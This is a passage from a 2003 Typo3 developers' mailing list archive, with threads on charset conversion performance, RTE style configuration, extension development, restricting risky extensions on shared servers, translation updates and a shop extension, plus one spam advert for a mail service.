wheel anyway. I rely first and foremost on my own functions for one single reason: I know it will work on all platforms regardless of PHP extensions etc. My idea is that we can change the class internally to use native functions if they are available (recode, iconv, whatever). If someone wants to work on this they are welcome. Probably I will spend my time on something else as long as my own functions work. But I acknowledge that they can be tuned, no doubt. In particular for chinese... (which loads and parses a conversion table of 400 kb each time... :-) Apart from that my conversion functions seems fast enough for all the tested single-byte charsets (iso-8859-* + windows-*) >And of course - most important! > ># Tune your database and index the fields that are commonly used in your >SQL WHERE criteria. Someone, help me. >Not mentioned here, but in such a large application like Typo3 it could >make a difference: use single quotes instead of double quotes if you don't >need variable interpolation. Which is in fact in the coding guidelines already. - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From ms at netfielders.de Tue Sep 9 12:41:48 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Tue, 09 Sep 2003 12:41:48 +0200 Subject: [Typo3-dev] Re: PHP optimizations (was: [Typo3-dev] decrease memory usage) In-Reply-To: References: Message-ID: Kasper Sk?rh?j wrote: >># Tune your database and index the fields that are commonly used in your >>SQL WHERE criteria. > > > Someone, help me. 18th -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From ljh at iprod.auc.dk Tue Sep 9 12:44:00 2003 From: ljh at iprod.auc.dk (=?iso-8859-1?Q?Lars_J=F8rgen_Hansen?=) Date: Tue, 9 Sep 2003 12:44:00 +0200 Subject: [Typo3-dev] RTE interface configuration Message-ID: Dear list members I am in the proces of learning Typo3/TS. There is a lot of high quality documentation, but I have not yet been able to find an answer to my problem with RTE interface configuration through Page TSconfig. I would very much like my users to be able to choose from a list of classes in the Paragraph Style Selector (in the RTE editor). To do that I have done as it is explained in the Admin Guide. RTE.default { classesParagraph = myStyle } RTE.classes { myStylet { name = Body Text (Primary) value = font:bold; color:blue; } } It works all right in the Typo3 back-end (in the RTE it looks all right with blue color and bold text), but when I try to view the page in a browser the new class which I have just made is not put to work. It simply ignores the newly created paragraph. In other words, when I view the source code from the browser, I can see the class defined on the paragraph, but the formatting is not visible. All styles are defined in an external style sheet. Here is a part of the html code from the browser

ordinary text ordinary text ordinary text

ordinary text ordinary text ordinary text


text formatted with myStyle - bvut it is not either bold or blue ;-(


Best regards Lars __________________________________________________________________ Lars J?rgen Hansen ICQ#: 95061394 Current ICQ status: * More ways to contact me __________________________________________________________________ -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/octet-stream Size: 182 bytes Desc: not available URL: From ms at netfielders.de Tue Sep 9 12:47:12 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Tue, 09 Sep 2003 12:47:12 +0200 Subject: [Typo3-dev] RTE interface configuration In-Reply-To: References: Message-ID: Lars J?rgen Hansen wrote: > Dear list members > > I am in the proces of learning Typo3/TS. There is a lot of high quality > documentation, but I have not yet been able to find an answer to my > problem with RTE interface configuration through Page TSconfig. please stop crossposting. Plus this is the developer list. Your question belongs (like you allready did before posting here) onto the english list. -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From gregor at crazes.de Tue Sep 9 14:36:05 2003 From: gregor at crazes.de (Gregor Kaczmarczyk) Date: Tue, 9 Sep 2003 14:36:05 +0200 Subject: [Typo3-dev] New extension: Get TypoScript setup in BE / Small bug in templateSelector Message-ID: Hi group :) i?m working on my first extension "Paragraphs" and need a hint to find the right direction. The goal for this extension is to have several "paragraphs" (HTML snippet, each in one file) for different content elemets (with markers). (the given content elements are sometimes too general ;). All paragraphs are stored in one directory (paragraphs/par1.html, paragraphs/par2.html, paragraphs/par3.html... ) The extension is a plugin (mostly extension of tt_content with frontend output). In backend i try to read out all "paragraph" files from the directory and have a selctorbox, where i can select one paragraph (very similar to templateSelector). so i need a "itemsProcFunc" for filling the selectorbox. I want to have the path to "paragrpahs" directory configured with TS Setup so i put in ext_typoscript_setup.txt plugin.tx_aggparagraphs_pi1 { paragraphsDirectory = EXT:agg_paragraphs/par/ } Problem: How to retrieve the value "paragraphsDirectory" in my "itemsProcFunc"? Comment on templateSelector --------------------------------- I?ve dived in the source of TemplateSelector, but i think it?s not possible to make it the same way for my extension. Behavior in TemplateSelector: If you create a new page, you have no possibility to change the main and sub templates, because selectboxes are blank. The reason is that the plugin needs the pid (on new pages obviously no pid is set) to retrieve the data from TypoScript setup. Only after first saving, selection of (main&sub) templates is possible (pid set). If the path would be set directly in the extension code (disadvantage: no configuration by user) the plugin would work properly. If path is configured by typoscript, the new page doesn?t know about set configuration in TypoScript. I?ve no idea how this problem can be solved as i?m new to typo3. Maybe somebody knows the solution. --------------------------------- I hope you can help me to retrieve the data from TS setup. I hope this extension can also be useful for other typo freaks :) Iwould like to publish it as soon as possible. Ciao, Gregor From Martin.T.Kutschker at blackbox.net Tue Sep 9 15:22:47 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Tue, 09 Sep 2003 15:22:47 +0200 (METDST) Subject: PHP optimizations (was: [Typo3-dev] decrease memory usage) Message-ID: From: Kasper Sk?rh?j Date: Tue, 09 Sep 2003 12:12:12 +0200 >> Note: this is of course true for the upcoming encoding functions. >> iconv/recode and mbstring should IMHO be favoured for self written >> PHP functions. There's no need to reinvent the wheel anyway. > I rely first and foremost on my own functions for one single reason: > I know it will work on all platforms regardless of PHP extensions etc. > > My idea is that we can change the class internally to use native > functions if they are available (recode, iconv, whatever). Or create alternate classes with the same methods (think of it as an interface). On "script startup" the appropriate class will be instantiated as a global encoding class. Another idea would be to use a cached version of (generated) code just like with "tables.php". Probably we can make it user configurably which version to choose (guided by the installer). > If someone wants to work on this they are welcome. Probably I will > spend my time on something else as long as my own functions work I am volunteering. >> # Tune your database and index the fields that are commonly used in >> your SQL WHERE criteria. > > Someone, help me. If I notice something I'll report. >> Not mentioned here, but in such a large application like Typo3 it >> could make a difference: use single quotes instead of double quotes >> if you don't need variable interpolation. > > Which is in fact in the coding guidelines already. Could anybody point me to the relevant section? I couldn't find it. But I found a TODO item for the extension evaluater. Regards, Masi From rl at robertlemke.de Wed Sep 10 13:11:15 2003 From: rl at robertlemke.de (Robert Lemke) Date: Wed, 10 Sep 2003 13:11:15 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: Kurt Dirnbauer | web:consulting wrote: > the output of the extension are pages including links to files, > (the files are also part of the extension) > these files (doc, pdf) should get cached too. > so, i just use the typolink with the described parameters > and the files are indexed. > right? Yes, should be true. But I have to admit that I personally never tried it with pdf files ... -- robert From dan at danfrost.co.uk Wed Sep 10 14:48:02 2003 From: dan at danfrost.co.uk (dan frost) Date: Wed, 10 Sep 2003 13:48:02 +0100 Subject: [Typo3-dev] Zend IDE Message-ID: I wondered, does anyone else use Zend's ide...? dan From andreas at php4win.de Wed Sep 10 14:57:24 2003 From: andreas at php4win.de (Andreas Otto) Date: Wed, 10 Sep 2003 14:57:24 +0200 Subject: [Typo3-dev] Character set inquery In-Reply-To: References: Message-ID: Hi Sascha, On Tuesday 09 September 2003 07:54, Sacha Vorbeck wrote: > Common web browsers implement this to some extend. I am not aware of any > browser where the element takes precedence over the encoding > specified in the HTTP header. If there is, it is broken and it is likely > that a number of web sites break in this browser. ... > If you cannot modify the HTTP header as in the example above, this is a > documentation issue, you cannot do anything about it; the HTTP header > always takes precedence and if the web server is configured to default > to say ISO-8859-1 the document cannot use any other character encoding > without modifying the web server configuration. I have prepared three small HTML pages: The webserver sends the header ISO-8859-1 as is default with Apache 1.3. But regardless what the webserver's charset setting is the Meta Tag takes precedence. According to your quote this should not happen. Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From ingmars at web.de Wed Sep 10 15:38:26 2003 From: ingmars at web.de (Ingmar Schlecht) Date: Wed, 10 Sep 2003 15:38:26 +0200 Subject: [Typo3-dev] Zend IDE In-Reply-To: References: Message-ID: Hi Dan, dan frost wrote: > I wondered, does anyone else use Zend's ide...? I considered trying it but Mathias said it would run too damn slow... like scrolling thru t3lib_div and meanwhile doing a coffee break ;-) Do you recommend it anyway? Currently I'm using Maguma Studio. It's not 100% stable on my PC but it's got quite nice feature... - Ingmar From dan at danfrost.co.uk Wed Sep 10 17:15:42 2003 From: dan at danfrost.co.uk (dan frost) Date: Wed, 10 Sep 2003 16:15:42 +0100 Subject: [Typo3-dev] Zend IDE In-Reply-To: References: Message-ID: That's interesting - because I think that's a problem with Typo3! I try to keep files down to a few hundred lines at the very most - mostly through code-reuse etc. Even though it's slow-ish (being java) it's good. The latest version even has code profiling to show you how much processing time, memory etc each function uses. dan Ingmar Schlecht wrote: > Hi Dan, > > dan frost wrote: > >> I wondered, does anyone else use Zend's ide...? > > > I considered trying it but Mathias said it would run too damn slow... > like scrolling thru t3lib_div and meanwhile doing a coffee break ;-) > > Do you recommend it anyway? > > Currently I'm using Maguma Studio. It's not 100% stable on my PC but > it's got quite nice feature... > > - Ingmar > From peter.russ at 4dfx.de Wed Sep 10 18:41:30 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Wed, 10 Sep 2003 18:41:30 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor Message-ID: We would like to extend the "RTE" class to work browser independent. For that will include the applet EKIT (http://www.hexidec.com/ekitdemo.php). Now our question is how we can include the applet jar into the repository so that is downloaded and installed when our extension is installed? Any hints welcome. Regs. Peter Russ. 4D f/x Kommunikationsservice From ingmars at web.de Wed Sep 10 21:07:23 2003 From: ingmars at web.de (Ingmar Schlecht) Date: Wed, 10 Sep 2003 21:07:23 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Peter Russ :: 4Dfx wrote: > We would like to extend the "RTE" class to work browser independent. For > that will include the applet EKIT (http://www.hexidec.com/ekitdemo.php). > > Now our question is how we can include the applet jar into the > repository so that is downloaded and installed when our extension is > installed? I can't see the problem?! just put the applet into the extension directory, and it'll be delivered along with your extension. - Ingmar From ithamar at sics.se Wed Sep 10 22:36:50 2003 From: ithamar at sics.se (ithamar at sics.se) Date: Wed, 10 Sep 2003 20:36:50 +0000 Subject: [Typo3-dev] Re: new mail u2Q9rcqCeT In-Reply-To: <0DH7G98HGC8600DL@lists.netfielders.de> References: <0DH7G98HGC8600DL@lists.netfielders.de> Message-ID: NMVbodIzxz3RagprfeDULinxfKTG5tHThC4 English version | ??????? ??????? ?? ???? ?????????? ??? ????? ?????????? ???????? ?????? http://www.mail15.com. ??? ????????????? ???????????: 1) ?????? ????? 15 ??; 2) ???????????? ? ??????????; 3) ??????????? ????????????? ????? ???????? ????????(POP,IMAP,SMTP); 4) ?????? ?? ?????? ????? ? ????? ?????; 5) ??????? ? ????????? ???????????? ? ?????? ??????????? ???????; 6) ???????????? ? ???????????? ????????; 7) ?????????? ????????? ?????. ************* We are glad to invite you at new free mail service http://www.mail15.com. The advantages of this service are: 1) mailbox, up to 15 Mb; 2) absolute privacy and high reliability; 3) ability to use mail clients (POP3, IMAP4, SMTP); 4) access from anywhere, anytime; 5) flexible light-weight web interface without advertising banners; 6) antivirus and antispam control; 7) fast mail transfer; 8) high speed network channel; 9) flexible light-weight web interface; 10) wide spread ability of mail filtering and forwarding mail; 11) clock around support; GPMgnligxAG0PUEJHX8ecTXTYqBQTe Wo4IFr6ZTEzoEpjta1gtgtcdmaFY2mdZMhIrIPrr From ttalpsepp at hotmail.com Wed Sep 10 23:07:01 2003 From: ttalpsepp at hotmail.com (Tõnn Talpsepp) Date: Thu, 11 Sep 2003 00:07:01 +0300 Subject: [Typo3-dev] How to update cms and lang with new translation Message-ID: Hi! I am the chief translator of Estonian. My problem is that I would like to test my translation in my Typo3 testsite. As described in the manual for developers I translated all the extensions in the Backend category. In order to make corrections and improve my translation I should test my translation in action. As described in the developer's manual, I should go to the extension manager to import updates from the extension repository and check the box "include most recent translations", shouldn't I. But with system extensions 'cms' and 'lang' this doesn't work. The field after ' "Import/Update" to: ' is empty. Of course, pressing the 'Load details' button doesn't produce anything. For example when trying to update Rich Text Editor, everything is fine and the field that's empty when trying to update cms or lang contains 'Global: typo3/ext/rte (OVERWRITE)' and new translations are included. Is there any catch when trying to update cms and lang or is it impossible at all? I didn't find any place else where to download pending translations, is there? My question is how to update cms and lang with most recent translations that are not merged into extensions yet? I have to emphasize that the problem is only with cms and lang. And in any case I would like to test my translations before extension owners start to merge them into extensions. For testing, I use the latest testsite package with Typo3 3.5.0 on Windows XP pro running Apache 1.3.27, PHP 4.23, if that has any relavance. I am a bit new to Typo3 and if a posted that in the wrong place, I appologize. I hope that someone can give me advice concerning my problems. Best regards, Tonn Talpsepp _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From peter.russ at 4dfx.de Wed Sep 10 23:24:37 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Wed, 10 Sep 2003 23:24:37 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Ingmar Schlecht schrieb: > Peter Russ :: 4Dfx wrote: > [...] >> Now our question is how we can include the applet jar into the >> repository so that is downloaded and installed when our extension is >> installed? > > > I can't see the problem?! > > just put the applet into the extension directory, and it'll be delivered > along with your extension. > [...] Thanks Ingmar, till now we had no time to get into the code of the repository. So we can concentrate to get RTE extended. Regs. Peter. From chris at byters.de Wed Sep 10 23:36:30 2003 From: chris at byters.de (Christoph Moeller) Date: Wed, 10 Sep 2003 23:36:30 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Peter Russ :: 4Dfx schrieb: > till now we had no time to get into the code of the repository. So we > can concentrate to get RTE extended. Hi Peter, don't know if you followed the "extending the RTE" discussion a couple of weeks/months ago? It's a huge load of work to incorporate another RTE component into the core - if you want to do it right, i.e. with adaptable buttons, styling/config of the RTE through TS and so on. I had a talk with Kasper about this on the last tour and he gave me some insight into the current RTE integration code. He said he's eventually going to produce an RTE API to be able to include _any_ RTE in flexible ways. Guess that's somewhere on his long todo list - at least he scribbled some notes on a small piece of paper *g* Hmmm, IMO it'd be better to wait a little more - or we'll eventually end up with 3 incompatible and different RTE's? Another thing: the RTE you proposed is really slow/large. Loading it took me about 30s with a 2mbit line on a P4-1800...don't want to go through that each time I edit an RTE page ;-) Greets, Chris From andreas at php4win.de Thu Sep 11 06:37:56 2003 From: andreas at php4win.de (Andreas Otto) Date: Thu, 11 Sep 2003 06:37:56 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Hi Christoph, hi Peter On Wednesday 10 September 2003 23:36, Christoph Moeller wrote: > Another thing: the RTE you proposed is really slow/large. Loading it > took me about 30s with a 2mbit line on a P4-1800...don't want to go > through that each time I edit an RTE page ;-) I had to experience this as well. That's a bit a showstopper ;-) Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From peter.russ at 4dfx.de Thu Sep 11 08:34:30 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Thu, 11 Sep 2003 08:34:30 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Andreas Otto schrieb: > Hi Christoph, hi Peter > > On Wednesday 10 September 2003 23:36, Christoph Moeller wrote: > >>Another thing: the RTE you proposed is really slow/large. Loading it >>took me about 30s with a 2mbit line on a P4-1800...don't want to go >>through that each time I edit an RTE page ;-) > > > I had to experience this as well. That's a bit a showstopper ;-) > > > Cheers, > Andreas Thanks for this reply. Our experiences with that: 1) The code only has to be transfered once. The second time the applet is started it's there within a second. 2) The code is not optimized, i.e. all classes are transfered in one shot. There are more techniques to improve that behaviour. On the other hand there are a bunch of benefits: 1) BROWSER and OS independent 2) SPEED e.g. to save the content the applet could handle that by invoking Typo3 with out the need of reloading the whole content ;) Additionally: 3) What this applet must be capable is defined in the RTE-interface. 4) Most important for us that at that point all items/buttoms/features we would need are available. So it's easy to exclude the one or other. 5) There are other benefit's that at the RTE can't handle, e.g. spellchecker, i.e. EKIT could be extensible. Most important would be that if the RTE is extended by Kasper this features would also be included. But as we see the RTE code at the moment is only extensible, if Microssoft adds new features to the browser;) Anyone, who will join us? Regs. Peter Russ. From peter.russ at 4dfx.de Thu Sep 11 08:41:09 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Thu, 11 Sep 2003 08:41:09 +0200 Subject: [Typo3-dev] Again: WYSIWYG Editor In-Reply-To: References: Message-ID: Christoph Moeller schrieb: > Peter Russ :: 4Dfx schrieb: > >> till now we had no time to get into the code of the repository. So we >> can concentrate to get RTE extended. > > > Hi Peter, > > don't know if you followed the "extending the RTE" discussion a couple > of weeks/months ago? That's the reason why this thread starts "Again..." It's only 20k of code and most of it is HTML at the moment. There's nothing magic in the RTE at the moment. If Kasper will come up with an api some days we will be there. As we see there are a lot of requests to work with Typo in other plattforms, where the Microsoft "support" is not available ;) Regs. Peter. From Martin.T.Kutschker at blackbox.net Thu Sep 11 09:22:55 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Thu, 11 Sep 2003 09:22:55 +0200 (METDST) Subject: [Typo3-dev] Re: Character set inquery (Andreas Otto) Message-ID: From: Andreas Otto Date: Wed, 10 Sep 2003 14:57:24 +0200 > I have prepared three small HTML pages: > > > > > The webserver sends the header ISO-8859-1 as is default with > Apache 1.3. No it does not: telnet www.php4win.com 80 Trying 217.160.110.193... Connected to www.php4win.com. Escape character is '^]'. GET /charset-us-ascii.html HTTP/1.0 HTTP/1.1 200 OK Date: Thu, 11 Sep 2003 07:17:21 GMT Server: Apache/1.3.26 (Linux/SuSE) PHP/4.2.2 mod_gzip/1.3.19.1a Last-Modified: Wed, 10 Sep 2003 12:14:02 GMT ETag: "3b0058-14d-3f5f158a" Accept-Ranges: bytes Content-Length: 333 Connection: close Content-Type: text/html Charset Test

us-ascii

????

Connection closed by foreign host. > But regardless what the webserver's charset setting is the Meta Tag > takes precedence. According to your quote this should not happen. Try using other character encodings as well, at least UTF-8 (because it is multi-byte). BTW, 8859-1 and 8859-15 are nearely identical. To see any effects you should use encoding with more differences. Masi From j.weiland at web.de Thu Sep 11 13:36:01 2003 From: j.weiland at web.de (Jochen Weiland) Date: Thu, 11 Sep 2003 13:36:01 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions Message-ID: Hi, the install tool currently has an entry for "Required Extensions" that can't be unloaded. May I suggest to include an option "Disallowed Extensions" which then can't be installed? The reason: there might be extensions on TER that cause problems on specific systems (I know of one that causes problems on my server, and I don't want that admins of Typo3 sites that I host can make the server unstable) It also may happen sooner or later that someone is going to write a harmful extension on purpose and upload it to TER. Another feature would be if you could specifiy that only extensions with a given status (stable, beta, alpha, exp.) can be installed. Regards Jochen From ms at netfielders.de Thu Sep 11 13:42:07 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Thu, 11 Sep 2003 13:42:07 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions In-Reply-To: References: Message-ID: Jochen Weiland wrote: > Hi, > > the install tool currently has an entry for "Required Extensions" that can't be unloaded. > > May I suggest to include an option "Disallowed Extensions" which then can't be installed? > > The reason: there might be extensions on TER that cause problems on specific systems (I know of one that causes problems on my server, and I don't want that admins of Typo3 sites that I host can make the server unstable) > > It also may happen sooner or later that someone is going to write a harmful extension on purpose and upload it to TER. > > Another feature would be if you could specifiy that only extensions with a given status (stable, beta, alpha, exp.) can be installed. I thought about this. But basically only admins have access to the ExtMgr, and admins should know what they do. The question is at what points you have to check for the state. Because you will always have to opportunity to install those extensions manually or via direct upload. A concept could be to disallow _activating_ these extensions. It's on my mind though... -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From j.weiland at web.de Thu Sep 11 14:30:05 2003 From: j.weiland at web.de (Jochen Weiland) Date: Thu, 11 Sep 2003 14:30:05 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions Message-ID: Mathias, good point to just disallow activation. Regarding admins: I have a configuration where I have quite a few different Typo3 sites (each with their own admin) on one server. The admins have access to the EM, but they don't have access to the install tool. Since one bad extension in one Typo3 site could bring down the whole server, there is a potential problem. Jochen From Martin.T.Kutschker at blackbox.net Thu Sep 11 15:17:23 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Thu, 11 Sep 2003 15:17:23 +0200 (METDST) Subject: [Typo3-dev] Re: makeInstance and references In-Reply-To: <20030908.15721209@blackbox.net> References: <20030908.15721209@blackbox.net> Message-ID: Martin Kutschker writes on Mon, 08 Sep 2003 13:36:48 +0200 (METDST): > Hi! > I don't expect any troubles by this straightforward change. I'll use > this setting for our development servers. Well I ran into one problem so far: ext/tstemplate/ts/index.php uses at some place or other ext/tstemplate_analyzer/class.tx_tstemplateanalyzer.php ext/tstemplate_objbrowser/class.tx_tstemplateobjbrowser.php ext/tstemplate_info/class.tx_tstemplateinfo.php ext/info_pagetsconfig/class.tx_infopagetsconfig_webinfo.php ext/tstemplate_ceditor/class.tx_tstemplateceditor.php ext/tstemplate_styler/modfunc1/class.tx_tstemplatestyler_modfunc1.php these and maybe some more classes (depends on the installed extensions). All these extensions have one thing in common. They declare $tmpl to be global: global $tmpl; $tmpl = t3lib_div::makeInstance("t3lib_tsparser_ext"); I had to undo my (automatic) work and change the assignment back from =& to =. I don't understand why we have to use a copy here. OTOH I don't understand why there is a global in the first place ;-) Are there any more "hidden" globals in the code? BTW, has anyone tried out the automatic conversion? Better, has anyone with low memory seen any improvement with the changes? Masi From peter.russ at 4dfx.de Thu Sep 11 18:27:16 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Thu, 11 Sep 2003 18:27:16 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions In-Reply-To: References: Message-ID: Jochen Weiland schrieb: [...] > Regarding admins: I have a configuration where I have quite a few different Typo3 sites (each with their own admin) on one server. The admins have access to the EM, but they don't have access to the install tool. > Since one bad extension in one Typo3 site could bring down the whole server, there is a potential problem. [...] Extend the EM that each customer could get their specific local ext directory for extension that are out of the global scope. Only allow them to download extensions to that path depending on the URL. Potential problem avoided. Regs. Peter. From j.weiland at web.de Thu Sep 11 18:55:51 2003 From: j.weiland at web.de (Jochen Weiland) Date: Thu, 11 Sep 2003 18:55:51 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions Message-ID: Peter, I am not sure whether I understand your posting correctly: In the Typo3 configuration I already have disallowed the admins to install extensions globally, so they can install only to their own local extension directory. But there they could still install harmful extensions that may jeopardize the server. Jochen From andreas at php4win.de Thu Sep 11 19:56:57 2003 From: andreas at php4win.de (Andreas Otto) Date: Thu, 11 Sep 2003 19:56:57 +0200 Subject: [Typo3-dev] Upload of extension update to TER Message-ID: Hi, is it possible to upload only modified files to the TER once I did modifications to one of my extensions. The problem is that with the manual the extension is too large for the TER. If I upload the extension without manual the existing manual in the TER will be deleted. If I put in a dummy manual I have to add the manual again later and recreate the TOC. Any ideas? Cheers, Andreas -- Andreas Otto Using PHP on Windows? www.php4win.de From chris at byters.de Thu Sep 11 20:15:12 2003 From: chris at byters.de (Christoph Moeller) Date: Thu, 11 Sep 2003 20:15:12 +0200 Subject: [Typo3-dev] Upload of extension update to TER In-Reply-To: References: Message-ID: Andreas Otto schrieb: > The problem is that with the manual the extension is too large for the TER. > Any ideas? Hi Andreas, mail Kasper to raise the storage limit for your extension. greets, Chris From peter.russ at 4dfx.de Thu Sep 11 23:44:27 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Thu, 11 Sep 2003 23:44:27 +0200 Subject: [Typo3-dev] Install Tool Suggestion: Disallowed Extensions In-Reply-To: References: Message-ID: Jochen Weiland schrieb: > Peter, > > I am not sure whether I understand your posting correctly: > > In the Typo3 configuration I already have disallowed the admins to install extensions globally, so they can install only to their own local extension directory. But there they could still install harmful extensions that may jeopardize the server. > > Jochen [...] You're running Typo3 on a Linux System with sym links for the global pathes and virtual hosts for your customer and their own DBs? Then you can handle everthing with the user/group permissions. You should think about resticting system calls from PHP. Additionally you can configure Apache in that way that the maximum usage of CPU and memory per session/child is limited. If your customer has no right to change/install global extensions and your systems is set up proberly you're fine. Did I forgot something ? Regs. Peter. www.4dfx.de From georg_ml at kuehnberger.com Fri Sep 12 02:21:12 2003 From: georg_ml at kuehnberger.com (georg_ml at kuehnberger.com) Date: Fri, 12 Sep 2003 02:21:12 +0200 Subject: [Typo3-dev] How to update cms and lang with new translation In-Reply-To: Message-ID: Dear T?nn, Having discovered the same as you, EXT cms and lang not being "update-able" automatically; You might want to check the below files being in charge of the Backend-Languages; we used them to setup a "Hugarian-ISO-coded Backend with English Backend-Texts, for Hungarian BE-Users" Of special interest to you will be the last huge part of the list. regards Georg TYPO3 - Backend - Core - Translation Files ---------------------------------------------- t3lib/config_default.php t3lib/stddb/tbl_be.php typo3/ext/setup/mod/locallang.php typo3/ext/setup/mod/locallang_mod.php typo3/sysext/lang/TLD/conf.php typo3/sysext/lang/lang.php typo3/sysext/lang/locallang_alt_doc.php typo3/sysext/lang/locallang_alt_intro.php typo3/sysext/lang/locallang_browse_links.php typo3/sysext/lang/locallang_db_new_content_ typo3/sysext/lang/locallang_general.php typo3/sysext/lang/locallang_misc.php typo3/sysext/lang/locallang_mod_doc.php typo3/sysext/lang/locallang_mod_file.php typo3/sysext/lang/locallang_mod_file_list.php typo3/sysext/lang/locallang_mod_help.php typo3/sysext/lang/locallang_mod_help_about.php typo3/sysext/lang/locallang_mod_tools.php typo3/sysext/lang/locallang_mod_tools_em.php typo3/sysext/lang/locallang_mod_user.php typo3/sysext/lang/locallang_mod_web.php typo3/sysext/lang/locallang_mod_web_func.ph typo3/sysext/lang/locallang_mod_web_info.php typo3/sysext/lang/locallang_mod_web_list.php typo3/sysext/lang/locallang_mod_web_perm.php typo3/sysext/lang/locallang_rte_select_imag typo3/sysext/lang/locallang_rte_user.php typo3/sysext/lang/locallang_show_rechis.php typo3/sysext/lang/locallang_tca.php typo3/sysext/lang/locallang_tsfe.php typo3/sysext/lang/locallang_view_help.php typo3/sysext/lang/locallang_wizards.php At 23:07 10.09.2003, T?nn Talpsepp wrote: >Hi! > >I am the chief translator of Estonian. > >My problem is that I would like to test my translation in my Typo3 >testsite. As described in the manual for developers I translated all the >extensions in the Backend category. In order to make corrections and >improve my translation I should test my translation in action. > >As described in the developer's manual, I should go to the extension >manager to import updates from the extension repository and check the box >"include most recent translations", shouldn't I. But with system >extensions 'cms' and 'lang' this doesn't work. The field after ' >"Import/Update" to: ' is empty. Of course, pressing the 'Load details' >button doesn't produce anything. For example when trying to update Rich >Text Editor, everything is fine and the field that's empty when trying to >update cms or lang contains 'Global: typo3/ext/rte (OVERWRITE)' and new >translations are included. > >Is there any catch when trying to update cms and lang or is it impossible >at all? I didn't find any place else where to download pending >translations, is there? My question is how to update cms and lang with >most recent translations that are not merged into extensions yet? > >I have to emphasize that the problem is only with cms and lang. And in any >case I would like to test my translations before extension owners start to >merge them into extensions. > >For testing, I use the latest testsite package with Typo3 3.5.0 on Windows >XP pro running Apache 1.3.27, PHP 4.23, if that has any relavance. > >I am a bit new to Typo3 and if a posted that in the wrong place, I >appologize. I hope that someone can give me advice concerning my problems. > > >Best regards, > >Tonn Talpsepp From j.weigel at cv-dillenburg.de Fri Sep 12 12:26:44 2003 From: j.weigel at cv-dillenburg.de (Jens Weigel) Date: Fri, 12 Sep 2003 12:26:44 +0200 Subject: [Typo3-dev] tt_products Shop Extension Message-ID: Hallo are there any people who develop a new/update of the tt_products extension? Are there any other shop solutions for typo3? Greetings Jens ____________________________________ Media C Christliche Software und mehr... Jens Weigel Moltkestra?e 1 35683 Dillenburg ____________________________________ From ms at netfielders.de Fri Sep 12 12:36:31 2003 From: ms at netfielders.de (Mathias Schreiber [netfielders]) Date: Fri, 12 Sep 2003 12:36:31 +0200 Subject: [Typo3-dev] tt_products Shop Extension In-Reply-To: References: Message-ID: Jens Weigel wrote: > Hallo > > are there any people who develop a new/update of the tt_products extension? > Are there any other shop solutions for typo3? I am on a new extension right now but currently I am too lazy to continue. Got special feature requests or interest in helping? -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From peter.russ at 4dfx.de Fri Sep 12 13:15:57 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Fri, 12 Sep 2003 13:15:57 +0200 Subject: [Typo3-dev] tt_products Shop Extension In-Reply-To: References: Message-ID: Jens Weigel schrieb: > Hallo > > are there any people who develop a new/update of the tt_products extension? > Are there any other shop solutions for typo3? > > Greetings Jens Yes we are. We asked Kasper already to include some dummy methods and send him our proposal via email. With this dummy methods tt_products would be easier to extend. But until now we got no feed back. So if there is any interest we could publish our proposal here or send it by email. Regs.Peter. From j.weigel at cv-dillenburg.de Fri Sep 12 13:44:16 2003 From: j.weigel at cv-dillenburg.de (Jens Weigel) Date: Fri, 12 Sep 2003 13:44:16 +0200 Subject: AW: [Typo3-dev] tt_products Shop Extension In-Reply-To: Message-ID: Hallo okay her are some popular features I add personaly: - Some more felds (this is easy) - more than one image for a product with preview and datail shown in the same window (no javascript popup) - one kategorie per page Features I want to add: - different layouts for a product-preview (need this ie for an better overview at a startpage) - productseries (other products with same name or autor (bookshop)) (in developng) - other user buyed - Amazon-like "personalized recommendations" - random product for startpage - better tracking site (ie: my last orders) - import from oscommerce-products and customers... - shopping cart on site (in a module) ... These are some function I need. More are on my l?ist but maybe not all are poplular. So im very interesstet in helping! To Peter: yes please publish your proposal Greets Jens -----Urspr?ngliche Nachricht----- Von: typo3-dev-admin at lists.netfielders.de [mailto:typo3-dev-admin at lists.netfielders.de]Im Auftrag von Mathias Schreiber [netfielders] Gesendet am: Freitag, 12. September 2003 12:37 An: typo3-dev at lists.netfielders.de Betreff: Re: [Typo3-dev] tt_products Shop Extension Jens Weigel wrote: > Hallo > 